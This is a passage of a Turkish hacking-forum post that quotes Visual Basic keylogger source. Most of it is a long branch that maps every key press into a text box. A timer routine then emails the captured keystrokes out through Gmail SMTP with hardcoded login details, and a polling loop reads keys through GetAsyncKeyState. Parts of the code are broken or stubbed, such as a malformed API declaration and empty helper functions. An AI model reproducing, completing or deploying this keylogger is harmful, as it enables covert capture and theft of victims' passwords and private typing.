RichTextBox1.Text = RichTextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
RichTextBox1.Text = RichTextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Up Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Left Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Right Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
RichTextBox1.Text = RichTextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
RichTextBox1.Text = RichTextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
RichTextBox1.Text = RichTextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.Add Then
RichTextBox1.Text = RichTextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
RichTextBox1.Text = RichTextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
RichTextBox1.Text = RichTextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
RichTextBox1.Text = RichTextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
RichTextBox1.Text = RichTextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
RichTextBox1.Text = RichTextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
RichTextBox1.Text = RichTextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
RichTextBox1.Text = RichTextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
RichTextBox1.Text = RichTextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
RichTextBox1.Text = RichTextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
RichTextBox1.Text = RichTextBox1.Text + "("
ElseIf Key = Keys.D0 Then
RichTextBox1.Text = RichTextBox1.Text + ")"
ElseIf Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "A"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "B"
ElseIf Key = Keys.C Then
RichTextBox1.Text = RichTextBox1.Text & "C"
ElseIf Key = Keys.D Then
RichTextBox1.Text = RichTextBox1.Text & "D"
ElseIf Key = Keys.E Then
RichTextBox1.Text = RichTextBox1.Text & "E"
ElseIf Key = Keys.F Then
RichTextBox1.Text = RichTextBox1.Text & "F"
ElseIf Key = Keys.G Then
RichTextBox1.Text = RichTextBox1.Text & "G"
ElseIf Key = Keys.H Then
RichTextBox1.Text = RichTextBox1.Text & "H"
ElseIf Key = Keys.I Then
RichTextBox1.Text = RichTextBox1.Text & "I"
ElseIf Key = Keys.J Then
RichTextBox1.Text = RichTextBox1.Text & "J"
ElseIf Key = Keys.K Then
RichTextBox1.Text = RichTextBox1.Text & "K"
ElseIf Key = Keys.L Then
RichTextBox1.Text = RichTextBox1.Text & "L"
ElseIf Key = Keys.M Then
RichTextBox1.Text = RichTextBox1.Text & "M"
ElseIf Key = Keys.N Then
RichTextBox1.Text = RichTextBox1.Text & "N"
ElseIf Key = Keys.O Then
RichTextBox1.Text = RichTextBox1.Text & "O"
ElseIf Key = Keys.P Then
RichTextBox1.Text = RichTextBox1.Text & "P"
ElseIf Key = Keys.Q Then
RichTextBox1.Text = RichTextBox1.Text & "Q"
ElseIf Key = Keys.R Then
RichTextBox1.Text = RichTextBox1.Text & "R"
ElseIf Key = Keys.S Then
RichTextBox1.Text = RichTextBox1.Text & "S"
ElseIf Key = Keys.T Then
RichTextBox1.Text = RichTextBox1.Text & "T"
ElseIf Key = Keys.U Then
RichTextBox1.Text = RichTextBox1.Text & "U"
ElseIf Key = Keys.V Then
RichTextBox1.Text = RichTextBox1.Text & "V"
ElseIf Key = Keys.W Then
RichTextBox1.Text = RichTextBox1.Text & "W"
ElseIf Key = Keys.X Then
RichTextBox1.Text = RichTextBox1.Text & "X"
ElseIf Key = Keys.Y Then
RichTextBox1.Text = RichTextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
RichTextBox1.Text = RichTextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
RichTextBox1.Text = RichTextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
RichTextBox1.Text = RichTextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
RichTextBox1.Text = RichTextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
RichTextBox1.Text = RichTextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
RichTextBox1.Text = RichTextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
RichTextBox1.Text = RichTextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
RichTextBox1.Text = RichTextBox1.Text & Label1.Text
ElseIf Key = Keys.Space Then
RichTextBox1.Text = RichTextBox1.Text & " "
ElseIf Key = Keys.Enter Then
RichTextBox1.Text = RichTextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
RichTextBox1.Text = RichTextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
RichTextBox1.Text = RichTextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
RichTextBox1.Text = RichTextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
RichTextBox1.Text = RichTextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
RichTextBox1.Text = RichTextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
RichTextBox1.Text = RichTextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
RichTextBox1.Text = RichTextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
RichTextBox1.Text = RichTextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
RichTextBox1.Text = RichTextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
RichTextBox1.Text = RichTextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
RichTextBox1.Text = RichTextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
RichTextBox1.Text = RichTextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Up Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Left Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Right Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
RichTextBox1.Text = RichTextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
RichTextBox1.Text = RichTextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
RichTextBox1.Text = RichTextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.Add Then
RichTextBox1.Text = RichTextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
RichTextBox1.Text = RichTextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
RichTextBox1.Text = RichTextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
RichTextBox1.Text = RichTextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
RichTextBox1.Text = RichTextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
RichTextBox1.Text = RichTextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
RichTextBox1.Text = RichTextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
RichTextBox1.Text = RichTextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
RichTextBox1.Text = RichTextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
RichTextBox1.Text = RichTextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
RichTextBox1.Text = RichTextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
RichTextBox1.Text = RichTextBox1.Text + "0"
ElseIf Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "a"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "b"
ElseIf Key = Keys.C Then
RichTextBox1.Text = RichTextBox1.Text & "c"
ElseIf Key = Keys.D Then
RichTextBox1.Text = RichTextBox1.Text & "d"
ElseIf Key = Keys.E Then
RichTextBox1.Text = RichTextBox1.Text & "e"
ElseIf Key = Keys.F Then
RichTextBox1.Text = RichTextBox1.Text & "f"
ElseIf Key = Keys.G Then
RichTextBox1.Text = RichTextBox1.Text & "g"
ElseIf Key = Keys.H Then
RichTextBox1.Text = RichTextBox1.Text & "h"
ElseIf Key = Keys.I Then
RichTextBox1.Text = RichTextBox1.Text & "i"
ElseIf Key = Keys.J Then
RichTextBox1.Text = RichTextBox1.Text & "j"
ElseIf Key = Keys.K Then
RichTextBox1.Text = RichTextBox1.Text & "k"
ElseIf Key = Keys.L Then
RichTextBox1.Text = RichTextBox1.Text & "l"
ElseIf Key = Keys.M Then
RichTextBox1.Text = RichTextBox1.Text & "m"
ElseIf Key = Keys.N Then
RichTextBox1.Text = RichTextBox1.Text & "n"
ElseIf Key = Keys.O Then
RichTextBox1.Text = RichTextBox1.Text & "o"
ElseIf Key = Keys.P Then
RichTextBox1.Text = RichTextBox1.Text & "p"
ElseIf Key = Keys.Q Then
RichTextBox1.Text = RichTextBox1.Text & "q"
ElseIf Key = Keys.R Then
RichTextBox1.Text = RichTextBox1.Text & "r"
ElseIf Key = Keys.S Then
RichTextBox1.Text = RichTextBox1.Text & "s"
ElseIf Key = Keys.T Then
RichTextBox1.Text = RichTextBox1.Text & "t"
ElseIf Key = Keys.U Then
RichTextBox1.Text = RichTextBox1.Text & "u"
ElseIf Key = Keys.V Then
RichTextBox1.Text = RichTextBox1.Text & "v"
ElseIf Key = Keys.W Then
RichTextBox1.Text = RichTextBox1.Text & "w"
ElseIf Key = Keys.X Then
RichTextBox1.Text = RichTextBox1.Text & "x"
ElseIf Key = Keys.Y Then
RichTextBox1.Text = RichTextBox1.Text & "y"
ElseIf Key = Keys.Z Then
RichTextBox1.Text = RichTextBox1.Text & "z"
ElseIf Key = Keys.Oemcomma Then
RichTextBox1.Text = RichTextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
RichTextBox1.Text = RichTextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
RichTextBox1.Text = RichTextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
RichTextBox1.Text = RichTextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
RichTextBox1.Text = RichTextBox1.Text & "`"
ElseIf Key = Keys.Space Then
RichTextBox1.Text = RichTextBox1.Text & " "
ElseIf Key = Keys.Enter Then
RichTextBox1.Text = RichTextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
RichTextBox1.Text = RichTextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
RichTextBox1.Text = RichTextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
RichTextBox1.Text = RichTextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
RichTextBox1.Text = RichTextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
RichTextBox1.Text = RichTextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
RichTextBox1.Text = RichTextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
RichTextBox1.Text = RichTextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
RichTextBox1.Text = RichTextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
RichTextBox1.Text = RichTextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
RichTextBox1.Text = RichTextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
RichTextBox1.Text = RichTextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
RichTextBox1.Text = RichTextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Up Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Left Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Right Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
RichTextBox1.Text = RichTextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
RichTextBox1.Text = RichTextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
RichTextBox1.Text = RichTextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.Add Then
RichTextBox1.Text = RichTextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
RichTextBox1.Text = RichTextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
RichTextBox1.Text = RichTextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
RichTextBox1.Text = RichTextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
RichTextBox1.Text = RichTextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
RichTextBox1.Text = RichTextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
RichTextBox1.Text = RichTextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
RichTextBox1.Text = RichTextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
RichTextBox1.Text = RichTextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
RichTextBox1.Text = RichTextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
RichTextBox1.Text = RichTextBox1.Text + "("
ElseIf Key = Keys.D0 Then
RichTextBox1.Text = RichTextBox1.Text + ")"
ElseIf Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "A"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "B"
ElseIf Key = Keys.C Then
RichTextBox1.Text = RichTextBox1.Text & "C"
ElseIf Key = Keys.D Then
RichTextBox1.Text = RichTextBox1.Text & "D"
ElseIf Key = Keys.E Then
RichTextBox1.Text = RichTextBox1.Text & "E"
ElseIf Key = Keys.F Then
RichTextBox1.Text = RichTextBox1.Text & "F"
ElseIf Key = Keys.G Then
RichTextBox1.Text = RichTextBox1.Text & "G"
ElseIf Key = Keys.H Then
RichTextBox1.Text = RichTextBox1.Text & "H"
ElseIf Key = Keys.I Then
RichTextBox1.Text = RichTextBox1.Text & "I"
ElseIf Key = Keys.J Then
RichTextBox1.Text = RichTextBox1.Text & "J"
ElseIf Key = Keys.K Then
RichTextBox1.Text = RichTextBox1.Text & "K"
ElseIf Key = Keys.L Then
RichTextBox1.Text = RichTextBox1.Text & "L"
ElseIf Key = Keys.M Then
RichTextBox1.Text = RichTextBox1.Text & "M"
ElseIf Key = Keys.N Then
RichTextBox1.Text = RichTextBox1.Text & "N"
ElseIf Key = Keys.O Then
RichTextBox1.Text = RichTextBox1.Text & "O"
ElseIf Key = Keys.P Then
RichTextBox1.Text = RichTextBox1.Text & "P"
ElseIf Key = Keys.Q Then
RichTextBox1.Text = RichTextBox1.Text & "Q"
ElseIf Key = Keys.R Then
RichTextBox1.Text = RichTextBox1.Text & "R"
ElseIf Key = Keys.S Then
RichTextBox1.Text = RichTextBox1.Text & "S"
ElseIf Key = Keys.T Then
RichTextBox1.Text = RichTextBox1.Text & "T"
ElseIf Key = Keys.U Then
RichTextBox1.Text = RichTextBox1.Text & "U"
ElseIf Key = Keys.V Then
RichTextBox1.Text = RichTextBox1.Text & "V"
ElseIf Key = Keys.W Then
RichTextBox1.Text = RichTextBox1.Text & "W"
ElseIf Key = Keys.X Then
RichTextBox1.Text = RichTextBox1.Text & "X"
ElseIf Key = Keys.Y Then
RichTextBox1.Text = RichTextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
RichTextBox1.Text = RichTextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
RichTextBox1.Text = RichTextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
RichTextBox1.Text = RichTextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
RichTextBox1.Text = RichTextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
RichTextBox1.Text = RichTextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
RichTextBox1.Text = RichTextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
RichTextBox1.Text = RichTextBox1.Text & "~"
ElseIf Key = Keys.Space Then
RichTextBox1.Text = RichTextBox1.Text & " "
ElseIf Key = Keys.Enter Then
RichTextBox1.Text = RichTextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
RichTextBox1.Text = RichTextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
RichTextBox1.Text = RichTextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
RichTextBox1.Text = RichTextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
RichTextBox1.Text = RichTextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
RichTextBox1.Text = RichTextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
RichTextBox1.Text = RichTextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
RichTextBox1.Text = RichTextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
RichTextBox1.Text = RichTextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
RichTextBox1.Text = RichTextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
RichTextBox1.Text = RichTextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
RichTextBox1.Text = RichTextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
RichTextBox1.Text = RichTextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Up Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Left Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Right Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
RichTextBox1.Text = RichTextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
RichTextBox1.Text = RichTextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
RichTextBox1.Text = RichTextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.Add Then
RichTextBox1.Text = RichTextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
RichTextBox1.Text = RichTextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
RichTextBox1.Text = RichTextBox1.Text & Label1.Text
End If
End If
End Sub



Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Me.Click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "2331389a")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("gmail")
mail.From = New MailAddress("gmail")
mail.Subject = "Sazan Geldi"
mail.Body = RichTextBox1.Text
SmtpServer.Send(mail)
RichTextBox1.Text = " "
End Sub

''start.Start''

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged
Private .. function Get AsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
End Sub

Private Sub Timer1_Tick_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles start.Tick
CheckKeys() 'Tuşları yakalayıp belirleyen yordam
End Sub

Private Sub CheckKeys()
Dim keyResult As String ' Döngü içerisinde iken kullanılacak geçici değişken
Dim keyIndex As Long
For keyIndex = 1 To 255 ' Toplam 255 adet tuş olduğu için 1den 255e kadar
'For-Next ile döneceğiz.
keyResult = " " ' Önce keyResult 'ı syfyrlayalym,
keyResult = GetAsyncKeyState(keyIndex) ' Sıradaki tuşun durumunu öğrenelim,
If keyResult = -32767 Then 'Tuş basılı ise geriye -32767 dönecektir.
Call Windows_OnKeyPress(keyIndex, GetShift, GetCtrl, GetAlt) ' Event' ı simule etmek için tuşun
' değerini Sub' a geçirelim.
End If
Next keyIndex
End Sub
Private Sub Windows_OnKeyPress(ByVal KeyAscii As Long, ByVal Shift As Integer, ByVal Ctrl As Integer, ByVal Alt As Integer) ' Tuş Yakalamada Event'ı
' Simule etmek için kullanılacak
' Sub
TextBox1.Text = TextBox1.Text & Chr(KeyAscii) & Shift
End Sub
Private Function GetCapsLock() As Boolean
End Function
Private Function GetShift() As Long
End Function
Private Function GetCtrl() As Long
End Function
Private Function GetAlt() As Long
End Function

End Class
Genişletmek için tıkla ...
 
Oyla 0 Downvote
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.